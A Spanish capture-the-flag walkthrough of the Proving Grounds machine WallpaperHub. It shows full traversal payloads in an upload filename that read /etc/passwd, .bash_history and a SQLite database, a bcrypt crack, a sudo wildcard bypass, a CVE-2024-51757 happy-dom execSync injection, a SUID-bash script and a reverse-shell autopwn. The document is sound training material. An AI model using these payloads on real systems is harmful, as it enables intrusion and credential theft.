the_open_door
café
ESEN

WallpaperHub

Proving Grounds PracticeMediaLinux192.168.192.204

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#flask#lfi#sqlite#hash-cracking#bcrypt#sudo#happy-dom#cve-2024-51757#script-injection#node-js#bash-history
TL;DR. Registro anónimo en un Flask, LFI vía subida de imagen que saca /etc/passwd, el .bash_history de wp_hub (que dice dónde vive la base de datos) y el propio database.db de SQLite; crack de un bcrypt de coste 12 para entrar por SSH como wp_hub, y un sudo sobre /usr/bin/web-scraper (Node + happy-dom) al que se le inyecta un <script> con require('child_process').execSync(...), la CVE-2024-51757, para ejecutar como root.

Reconocimiento

Escaneo inicial

ping -c 1 192.168.192.204
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.192.204

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Not shown: 65530 filtered tcp ports (no-response), 2 filtered tcp ports (host-unreach)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 61
80/tcp   open  http    syn-ack ttl 61
5000/tcp open  upnp    syn-ack ttl 61

Los 65530 puertos filtrados (no cerrados) dicen que hay un cortafuegos descartando en silencio, y por eso el escaneo tarda 26 segundos en vez de dos. El upnp del 5000 no es upnp: es lo que dice /etc/services para ese número cuando no hay banner. Quien identifica el servicio es el -sCV:

nmap -p22,80,5000 -sCV 192.168.192.204
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5
80/tcp   open  http    Apache httpd 2.4.58 (default page)
5000/tcp open  http    Werkzeug httpd 3.0.1 (Python 3.12.3)
|_http-title: Wallpaper Hub - Home

El 80 es la página por defecto de Apache (irrelevante) y el 5000 un Werkzeug/3.0.1 Python/3.12.3, es decir, una aplicación Flask servida por su servidor de desarrollo.

HTTP - TCP 5000

Un dirsearch sobre la app revela el flujo típico de una web con sesiones: /login, /register, /gallery y varias rutas protegidas (/dashboard, /settings) que redirigen a /login. Además, dos rutas /download/history.csv y /download/users.csv devuelven 401, indicio de que existe una descarga de ficheros parametrizable.

[23:14:29] 302 -  199B  - /dashboard  ->  /login
[23:14:30] 401 -   29B  - /download/history.csv
[23:14:30] 401 -   29B  - /download/users.csv
[23:14:31] 200 -   14KB - /gallery
[23:14:35] 200 -    1KB - /login
[23:14:40] 200 -  847B  - /register

La portada ofrece el registro sin ningún tipo de invitación ni verificación:

La portada de Wallpaper Hub con el enlace Register en la barra de navegación

Y acepta cualquier cosa, incluido un usuario llamado admin (el nombre estaba libre, así que la cuenta administrativa de la aplicación se llama de otra forma; ese dato lo confirmaremos luego en la base de datos):

El formulario SIGN UP relleno con admin/admin/admin

Y esas mismas credenciales entran por el formulario de login, que es la misma tarjeta traslúcida sobre la foto del lago:

El formulario LOGIN de Wallpaper Hub con admin en usuario y contraseña, y los enlaces Forgot Password y Create an account

Wallpaper Hub
LOGIN
  admin
  admin
  Login
Forgot Password?
New here? Create an account

Shell como wp_hub

La subida de wallpapers

Autenticados, el panel expone una subida de imágenes bajo /upload-wallpaper:

El panel Upload Your Wallpaper con los botones Select a Wallpaper y Upload

Antes de tocar nada conviene ver cómo es una petición legítima. Interceptamos una subida normal y ahí está todo lo que hace falta saber: un multipart/form-data con un solo part llamado file, un filename que viene tal cual del navegador y un Content-Type: image/jpeg.

POST /upload-wallpaper HTTP/1.1
Host: 192.168.192.204:5000
Content-Type: multipart/form-data; boundary=----geckoformboundary...
Content-Length: 875194

------geckoformboundary...
Content-Disposition: form-data; name="file"; filename="wallpapers_wallpapers_photo2.jpg"
Content-Type: image/jpeg

Burp intercepta la subida legítima de un JPEG de 875 KB por /upload-wallpaper

LFI por el filename

El servidor guarda el fichero usando el nombre que llega en filename= sin sanear la ruta, y luego lo sirve por /download/<id>. Es una traversal clásica (LFI por traversal), solo que en vez de leer con un ?file= se escribe un registro que apunta a donde queramos. Prueba de concepto contra /etc/passwd, cambiando de paso el Content-Type a plain/text para que no haya dudas sobre el tipo:

Content-Disposition: form-data; name="file"; filename="../../../../../etc/passwd"
Content-Type: plain/text
HTTP/1.1 302 FOUND
Server: Werkzeug/3.0.1 Python/3.12.3
Location: /upload-wallpaper?session=<SecureCookieSession {'_permanent': True, 'username': 'admin',
          '_flashes': [('info', 'File uploaded successfully!')]}>

La petición de Burp con filename=../../../../../etc/passwd y la respuesta 302 FOUND con el flash 'File uploaded successfully!'

De propina, la aplicación serializa la sesión entera dentro de la URL del redirect, incluido el mensaje de éxito. No es una vulnerabilidad, pero sí un oráculo cómodo: se sabe si la subida ha colado sin mirar el HTML.

El registro aparece en /my-uploads con un UUID, y el botón Download baja el fichero real. El navegador lo guarda con su nombre de verdad, passwd, 1.8 KB:

/my-uploads muestra el wallpaper cf060053-3dd9-48a4-8313-91684c98aea7 y la descarga completada del fichero passwd de 1.8 KB

cat passwd | grep bash

cat passwd | grep bash deja tres usuarios con shell: root, ubuntu y wp_hub

root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
wp_hub:x:1001:1001::/home/wp_hub:/bin/bash

Ya tenemos un nombre de usuario y su $HOME: wp_hub, en /home/wp_hub.

El .bash_history dice dónde está la base de datos

Con un $HOME conocido, el primer fichero que merece la pena pedir no es la clave SSH sino el historial de la shell (caza de credenciales): es donde la gente deja escrito, sin querer, cómo está montado su propio servicio.

Content-Disposition: form-data; name="file"; filename="../../../../../../home/wp_hub/.bash_history"

La petición con filename=../../../../../../home/wp_hub/.bash_history y su 302 FOUND

Una sola línea, y es la que abre la caja:

sqlite3 ~/wallpaper_hub/database.db

El .bash_history descargado contiene la orden sqlite3 ~/wallpaper_hub/database.db

La ruta de la base de datos no hay que adivinarla: la dejó escrita el administrador.

Exfiltrar database.db y romper el bcrypt

Tercera pasada por la misma traversal, ahora contra el fichero que interesa:

Content-Disposition: form-data; name="file"; filename="../../../../../../home/wp_hub/wallpaper_hub/database.db"
Content-Type: plain/text

La petición de Burp que exfiltra database.db por traversal en el filename y responde 302 FOUND

Lo descargamos y lo abrimos. La tabla users tiene dos filas: la nuestra (admin, la que acabamos de registrar) y la que buscábamos.

SELECT * from users;
user_id  username  password                                      description
0        wp_hub    $2b$12$lgsrjRa0imePu9iSnp1UsOPLWqAKK...       Wallpaper Hub New user.
1        admin     $2b$12$KmVEkgwVIUnOlQbu9EKSbeWyGaKa0...       Wallpaper Hub New user.

DB Browser for SQLite ejecuta SELECT * from users y devuelve las dos filas con sus hashes bcrypt

Los hashes son bcrypt $2b$12$: el 2b es la versión moderna del algoritmo y el 12 es el coste, o sea 2¹² = 4096 iteraciones por intento. Un bcrypt no se rompe a velocidad de hash rápido, solo con diccionario (crackeo de hashes), y aquí basta con el de siempre:

john --wordlist=/usr/share/wordlists/rockyou.txt hashes

John rompe el hash en 29 segundos y devuelve qazwsxedc

Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 8 OpenMP threads
qazwsxedc        (?)
1g 0:00:00:29 DONE (2026-03-04 13:10) 0.03407g/s 68.68p/s 68.68c/s 68.68C/s bubba1..biatch

El Cost 1 (iteration count) is 4096 es la confirmación independiente del coste 12, y las 68 contraseñas por segundo explican por qué esto solo funciona con una contraseña de diccionario: a esa velocidad, rockyou entera son casi seis días.

SSH como wp_hub

ssh wp_hub@192.168.192.204
# qazwsxedc

id y whoami confirman la sesión SSH como wp_hub en wallpaperhub

wp_hub@wallpaperhub:~$ id
uid=1001(wp_hub) gid=1001(wp_hub) groups=1001(wp_hub)

La contraseña de la aplicación web era también la del sistema, y wp_hub no está en ningún grupo interesante: uid 1001 y nada más.

Local

cat local.txt && whoami && ip a && hostname

local.txt leída como wp_hub, con la IP 192.168.192.204 y el hostname wallpaperhub

a0c3c9725561cc6253dbf96b93a007a5
wp_hub
...
    inet 192.168.192.204/24 brd 192.168.192.255 scope global ens192
wallpaperhub

Escalada de Privilegios

Un sudo con comodín sobre un binario propio

sudo -l
cat /usr/bin/web-scraper
Matching Defaults entries for wp_hub on wallpaperhub:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, !env_reset

User wp_hub may run the following commands on wallpaperhub:
    (root) NOPASSWD: /usr/bin/web-scraper /root/web_src_downloaded/*.html
#!/usr/bin/env node

const fs = require('fs');
const { Window } = require("happy-dom");

// Check if a file path is provided as a command-line argument
const filePath = process.argv[2];

sudo -l muestra la regla con el comodín /root/web_src_downloaded/*.html y el cat del binario revela que es Node con happy-dom

Dos cosas en esa regla. La primera es que /usr/bin/web-scraper no es un binario del sistema sino un script propio, y se puede leer entero: es Node, hace require("happy-dom") y carga con él el HTML que se le pase por argv[2]. La segunda, y es la que abre la escalada, es que el argumento permitido es un comodín: /root/web_src_downloaded/*.html. En sudoers el * de un patrón también casa con la barra, así que /root/web_src_downloaded/../../../../home/wp_hub/hola.html encaja con la regla aunque el fichero esté en nuestro propio $HOME. La comprobación es textual sobre el patrón, no sobre la ruta canónica.

CVE-2024-51757: <script> que ejecuta en happy-dom

El nombre de la librería es todo lo que hace falta para encontrar el fallo. Una búsqueda de happy dom exploitation devuelve ya la referencia del CVE entre los primeros resultados:

la búsqueda happy dom exploitation devuelve el artículo de GBHackers y la ficha de wiz.io con CVE-2024-51757 resaltado

GBHackers News - Happy DOM Flaw Allows Remote Code Execution Affecting ...
13 oct 2025 - A critical security vulnerability has been discovered in Happy DOM, a popular JavaScript
library used for server-side rendering and testing ...

wiz.io - CVE-2024-51757: Impact, Exploitability, and Mitigation Steps

Con el identificador ya concreto, la segunda búsqueda separa la teoría de lo que sirve: NVD describe el fallo, pero es Snyk el que promete una prueba de concepto:

la búsqueda CVE-2024-51757 exploitaion muestra la ficha del NVD y, resaltada, la de Snyk Arbitrary Code Injection in happy-dom

CVE-2024-51757 Detail - NVD - NIST
6 nov 2024 - This CVE record has been marked for NVD enrichment efforts.

Snyk - Arbitrary Code Injection in happy-dom | CVE-2024-51757
7 nov 2024 - Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.

Y en esa página está el payload completo, listo para copiar. De ahí sale, literalmente, el HTML que se usa unas líneas más abajo:

la ficha de Snyk con el resumen del fallo y el bloque PoC, con la línea del document.write resaltada

const { Window } = require("happy-dom");

const window = new Window();
const document = window.document;

document.write(`<script src="https://localhost:8080/'+require('child_process').execSync('id')+'"></script>`);

La propia ficha resume el mecanismo: Affected versions of this package are vulnerable to Arbitrary Code Injection via the SyncFetchScriptBuilder class due to improper input sanitization, y la corrección es subir a la 15.10.2 o superior.

happy-dom es una implementación de DOM en JavaScript puro, pensada para renderizar y testear HTML sin navegador. Las versiones anteriores a la 15.10.2 tienen la CVE-2024-51757: la clase SyncFetchScriptBuilder no sanea el atributo src de un <script>, así que el contenido de ese atributo termina concatenado dentro del código que se ejecuta en el proceso Node. No es un escape de sandbox, es que no había sandbox (inyección de script).

El HTML que se le pasa al scraper es, en realidad, JavaScript que construye el documento. Cerrando la comilla del src se cuela la llamada:

const { Window } = require("happy-dom");

const window = new Window();
const document = window.document;

document.write(`<script src="https://localhost:80/'+require('child_process').execSync('/home/wp_hub/pwn.sh')+'"></script>`);

El pwn.sh deja /bin/bash con SUID, que es la vía más limpia: la ejecución la hace root una sola vez y el bit persiste, sin depender de un listener ni de la red.

cat pwn.sh
#!/bin/bash

chmod u+s /bin/bash
sudo /usr/bin/web-scraper /root/web_src_downloaded/../../../../home/wp_hub/hola.html

Y aquí llega lo bonito de esta caja: el comando falla con un error escandaloso y funciona igual.

node:events:495
      throw er; // Unhandled 'error' event
      ^

Error: write EPROTO 00383CB021750000:error:0A00010B:SSL routines:ssl3_get_record:wrong version number
  errno: -71,
  code: 'EPROTO',
  syscall: 'write'
}

Node.js v18.19.1

JavaScript Links:
https://localhost:80/'+require('child_process').execSync('/home/wp_hub/pwn.sh')+'

El error es de TLS: el src pide https:// contra el puerto 80, que habla HTTP en claro, y el handshake revienta con wrong version number. Pero para entonces happy-dom ya ha construido la cadena, y construirla implica evaluar el require(...).execSync(...) que había dentro. El fallo ocurre después del pago. Ni siquiera hace falta que el 80 exista: el execSync es un efecto secundario de armar la URL, no de pedirla.

ls -l /bin/bash
bash -p

El scraper lanza el error EPROTO de TLS y aun así /bin/bash queda con SUID; bash -p da root

-rwsr-xr-x 1 root root 1446024 Mar 31  2024 /bin/bash
bash-5.2# whoami
root

El bash -p es obligatorio: sin el -p, bash renuncia a los privilegios efectivos al arrancar y el SUID no sirve de nada.

Proof.txt

cat /root/proof.txt && whoami && ip a && hostname

proof.txt leída como root en wallpaperhub

f0da45be9fd9cb462e7fd2fa8e2b7b3c
root
...
    inet 192.168.192.204/24 brd 192.168.192.255 scope global ens192
wallpaperhub

Automatizar la cadena entera

La caja se presta a un autopwn porque cada eslabón es determinista y no hay ni un solo paso que dependa de mirar una pantalla. Un script de Python con requests, sqlite3, john por subprocess y paramiko recorre todo: registra el usuario, inicia sesión, sube el database.db por la traversal, saca el UUID de /my-uploads con una expresión regular, lo descarga, extrae los hashes, los rompe, entra por SSH con la contraseña recuperada y deja escritos el pwn.sh y el hola.html antes de invocar el web-scraper.

python3 wallpaper_hub_exploitation.py 192.168.192.204 5000 admin

El autopwn en Python encadena registro, LFI, crack y escalada, y devuelve una shell de root

[+] User admin registered successfully
[+] User admin logged successfully
[*] Waiting for reverse shell...
listening on [any] 5000 ...
connect to [192.168.45.219] from (UNKNOWN) [192.168.192.204] 38932
root@wallpaperhub:~# whoami
root

Dos detalles de diseño que no son evidentes. El listener va en un hilo aparte y se arranca antes del privesc, porque sudo web-scraper se queda bloqueado esperando y la shell tiene que estar escuchando ya. Y el regex que saca el UUID (value=([a-f0-9\-]+)) da por hecho que solo hay una subida propia, así que el script conviene lanzarlo con un usuario recién registrado, que es justo lo que hace.

La flag que devuelve esa ejecución (5fe47e557ffafce6212ccd4d13cf9b01) no coincide con la de arriba porque es otro despliegue de la máquina: Proving Grounds regenera las flags en cada arranque.

Cadena de ataque

Flask :5000 (Werkzeug 3.0.1 / Python 3.12.3)
  └─ /register (abierto)               -> cuenta propia
     └─ /upload-wallpaper              -> traversal en el filename=
        ├─ /etc/passwd                 -> wp_hub, /home/wp_hub
        ├─ ~/.bash_history             -> "sqlite3 ~/wallpaper_hub/database.db"
        └─ ~/wallpaper_hub/database.db -> bcrypt $2b$12$ de wp_hub
           └─ john + rockyou           -> qazwsxedc
              └─ SSH wp_hub            -> local.txt
                 └─ sudo -l: /usr/bin/web-scraper /root/web_src_downloaded/*.html
                    └─ el * casa con / -> ../../../../home/wp_hub/hola.html
                       └─ CVE-2024-51757 (happy-dom < 15.10.2)
                          └─ execSync('pwn.sh') -> chmod u+s /bin/bash
                             └─ bash -p -> root (proof.txt)

Lecciones aprendidas

  • Aceptar el filename del cliente sin sanear la ruta abre una LFI por traversal tan válida como el ?file= clásico; el filtrado tiene que fijarse en el basename, no en el prefijo.
  • El .bash_history vale más que el id_rsa. Antes de pedir claves a ciegas, se pide el historial: aquí una sola línea daba la ruta exacta de la base de datos, que si no habría habido que adivinar.
  • El bcrypt no se "rompe" a velocidad de hash: el coste 12 son 4096 iteraciones y john avanza a 68 candidatos por segundo. Solo cae si la contraseña está en el diccionario, y qazwsxedc lo está.
  • Un comodín en sudoers no acota nada. El * de /root/web_src_downloaded/*.html casa también con /, así que la regla que parecía encerrar al usuario en un directorio de root acepta cualquier fichero del sistema. Lo correcto es validar la ruta canónica (realpath), no un patrón textual.
  • Un binario que renderiza HTML del usuario como root equivale a ejecutar cualquier código: happy-dom (como jsdom) evalúa el <script> con require disponible; no es un escape, es la funcionalidad.
  • Un error en pantalla no significa que el exploit haya fallado. El EPROTO ... wrong version number es ruido de TLS que llega después de que el execSync ya se haya ejecutado. Antes de dar por muerta una técnica, hay que comprobar el efecto, no el código de salida.
Cheatsheet de comandos 20 comandos

Repaso rápido